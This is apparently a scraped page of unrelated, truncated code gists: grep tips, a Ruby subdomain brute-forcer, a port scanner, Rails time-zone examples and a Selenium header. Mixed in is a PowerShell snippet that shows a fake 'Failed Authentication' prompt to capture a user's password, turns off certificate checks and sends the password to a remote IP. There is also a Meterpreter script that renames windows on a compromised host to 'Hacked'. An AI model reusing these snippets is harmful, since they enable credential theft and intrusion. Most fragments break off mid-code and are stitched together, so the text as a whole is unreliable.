cat appium.txt | grep "your text"
grep "your text" appium.txt
grep --color "your text" appium.txt
ls | grep "your text"
Tmux (split terminal)
#!/usr/bin/env ruby | |
# | |
## Brute code stolen form: https://gist.github.com/petehamilton/4755855 | |
# | |
def result?(sub) | |
puts sub | |
1 == 2 |
#!/usr/bin/env ruby | |
# | |
## Brute code stolen form: https://gist.github.com/petehamilton/4755855 | |
# | |
@domain = 'contoso.com' | |
def result?(sub) | |
results = %x(dig +noall #{sub}.#{@domain} +answer) |
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
$wc = new-object net.webclient; | |
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
$result = $wc.downloadstring('https://172.16.102.163'); |
windows = client.extapi.window.enumerate | |
windows.each do |winder| | |
if winder[:title] != 'Default IME' | |
result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked") | |
end | |
end |
require 'socket' | |
# Set up the parameters. | |
PORT_RANGE = 1..512 | |
HOST = 'archive.org' | |
TIME_TO_WAIT = 5 # seconds | |
# Create a socket for each port and initiate the nonblocking | |
# connect. | |
sockets = PORT_RANGE.map do |port| |
require 'net/ssh' | |
host = "the.host" | |
user = "joe" | |
su_user = "bob" | |
password = "password" | |
commands = ["cd /", "pwd", "ls -l", "exit"] | |
finished = ("%08x" * 8) % Array.new(8) { rand(0xFFFFFFFF) } |
2.hours.ago # => Thu, 27 Aug 2015 14:39:36 AFT +04:30
1.day.from_now # => Fri, 28 Aug 2015 16:39:36 AFT +04:30
Time.zone.parse("2015-08-27T12:09:36Z") # => Thu, 27 Aug 2015 16:39:36 AFT +04:30
Time.current # => Thu, 27 Aug 2015 16:39:36 AFT +04:30
Time.current.utc.iso8601 # When suppliyng an API ("2015-08-27T12:09:36Z")
Time.strptime("2015-08-27T12:09:36Z", "%Y-%m-%dT%H:%M:%S%z").in_time_zone # If you can't use Time.zone.parse (Thu, 27 Aug 2015 16:39:36 AFT +04:30)
Date.current # If you really can't have a Time or DateTime for some reason (Thu, 27 Aug 2015)
package com.lithium.mineraloil.selenium.browsers; | |
import com.lithium.mineraloil.selenium.DriverNotFoundException; | |
import lombok.Getter; | |
import lombok.Setter; | |
import org.openqa.selenium.WebDriver; | |
import org.openqa.selenium.chrome.ChromeOptions; | |
import org.openqa.selenium.remote.CapabilityType; | |
import org.openqa.selenium.remote.DesiredCapabilities; | |
import org.openqa.selenium.remote.RemoteWebDriver; |